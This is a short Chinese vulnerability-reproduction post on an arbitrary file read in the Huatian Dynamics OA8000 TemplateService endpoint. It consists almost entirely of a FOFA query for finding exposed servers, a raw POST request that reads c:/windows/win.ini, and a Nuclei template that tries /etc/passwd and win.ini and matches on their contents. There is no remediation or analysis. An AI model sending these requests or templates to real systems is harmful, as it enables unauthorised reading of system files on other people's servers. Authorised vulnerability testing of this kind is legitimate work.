【漏洞复现】华天动力-TemplateService-任意文件读取

app="华天动力-OA8000"

POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36Content-Type: text/xmlContent-Length: 101
<buffalo-call><method>getHtmlContent</method><string>c:/windows/win.ini</string></buffalo-call>

id: htdl-TemplateService-readfile
info:  name: htdl-TemplateService-readfile  author: rain  severity: high  metadata:     fofa-query: app="华天动力-OA8000"http:  - raw:      - |        POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36        Content-Type: text/xml        Content-Length: 101
        <buffalo-call>        <method>getHtmlContent</method>        <string>{{path}}</string>        </buffalo-call>
    attack: batteringram    payloads:      path:        - /etc/passwd        - c:/windows/win.ini    stop-at-first-match: true    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'contains_all(body,"root:") || contains_all(body,"[fonts]")'